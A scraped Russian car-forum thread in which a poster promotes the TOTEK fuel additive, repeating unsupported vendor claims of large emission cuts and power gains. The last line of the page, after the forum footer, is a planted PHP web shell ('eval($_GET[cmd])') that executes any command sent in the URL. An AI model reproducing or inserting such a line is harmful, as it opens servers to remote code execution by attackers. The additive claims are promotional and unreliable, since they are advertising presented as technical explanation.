Показано с 1 по 10 из 34

Тема: Тюнинг топлива


Древовидный режим

  1. #16
    GTI-Racing Окислитель is on a distinguished road Аватар для Окислитель
    Регистрация
    16.04.2008
    Откуда
    Москва
    Машина
    GTI 5
    Сообщений
    847
    Цитата Сообщение от TOK Посмотреть сообщение
    дайте ссылочку на них почитать и где купить. Так в итоге какие лучше брать?
    http://totekfuels.ru/info/?item=188
    сайт на редкость информативный. + есть заключения и рзультаты проверок не только журналистов

    Добавлено через 19 минут
    Цитата Сообщение от maxymax Посмотреть сообщение
    Как отдельно? Если добавка в бенз идет? И про какую чистку на работающем двигателе речь? Он и так чистится на высоких оборотах. И очень даже неплохо.
    Просто за счет чего прибавка мощности? За счет пакета присадок? Каких? Повышающих октановое число горючки? Очищающих? От чего? Какой нагар может быть в ТФСИ?
    Вот это я понимаю серьёзный список вопросов, требующий такого же подхода. Я отправлю эти вопросы в TOTEK, дабы они ответили максимально правильно.
    Ибо я сейчас начну объяснять и попутаю какой нибудь термин.

    Добавлено через 20 часов 1 минуту
    Цитата Сообщение от maxymax Посмотреть сообщение
    Какой нагар может быть в ТФСИ?
    Например вот такой, канавки огнеупорных колец обратите вниманеи в каком виде.
    Тему хорошо раскрывает Яндекс, поиск по картинкам, слова закоксованный поршень, закоксованные клапана и т.п.

    Цитата Сообщение от maxymax Посмотреть сообщение
    Просто за счет чего прибавка мощности? За счет пакета присадок? Каких? Повышающих октановое число горючки?
    ТОТЕК - УМТ позволяет увеличить полноту сгорания топлива любого качества, снижая количество вредных выбросов до 40 и более процентов. В этом случае датчики контроля не ограничивают подачу топлива в двигатель, и машина не теряет мощность. Дополнительную мощность двигатель получает за счет увеличенной полноты сгорания и изменения режима горения топливной смеси, который получается согласованным с работой кривошипно-шатунного механизма. Давление поршневых газов максимально отдаёт свою энергию в оптимальной зоне углов поворота коленчатого вала. Те углеводороды, которые раньше выбрасывались двигателем в выпускной тракт и дожигались катализатором, сгорают в цилиндрах двигателя, давая ему дополнительную мощность и экономию топлива. Этот же процесс, каталитического управления горением, не только повышает мощность и экономит топливо, но и обеспечивает чистоту камеры сгорания, форсунок, клапанов и всего выпускного тракта. В топливах, таких как, например, ЭКТО, УЛЬТИМЭЙТ, введены моющие присадки, они совместно с ТОТЕК-УМТ способны полностью обеспечить чистоту внутри камеры сгорания двигателя и топливо подающего тракта двигателя.

    В описании УМТ рассказывается что, почему и как работает.
    http://totekfuels.ru/info/?item=62
    Последний раз редактировалось Окислитель; 21.04.2011 в 10:16. Причина: Добавлено сообщение

Похожие темы

  1. вопрос по давлению топлива
    от NAGROM85 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 12
    Последнее сообщение: 02.10.2023, 06:13
  2. Расход топлива GOLF
    от favorit в разделе Разное
    Ответов: 11
    Последнее сообщение: 01.12.2018, 15:34
  3. регулятор топлива 4бар.
    от magnum126 в разделе Курилка
    Ответов: 8
    Последнее сообщение: 25.06.2010, 10:26
  4. давление топлива 5 атм???
    от A.E.M. в разделе Двигатель
    Ответов: 10
    Последнее сообщение: 12.05.2010, 21:00
  5. увеличился расход топлива
    от Promethean в разделе Двигатель
    Ответов: 1
    Последнее сообщение: 21.01.2010, 23:38

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}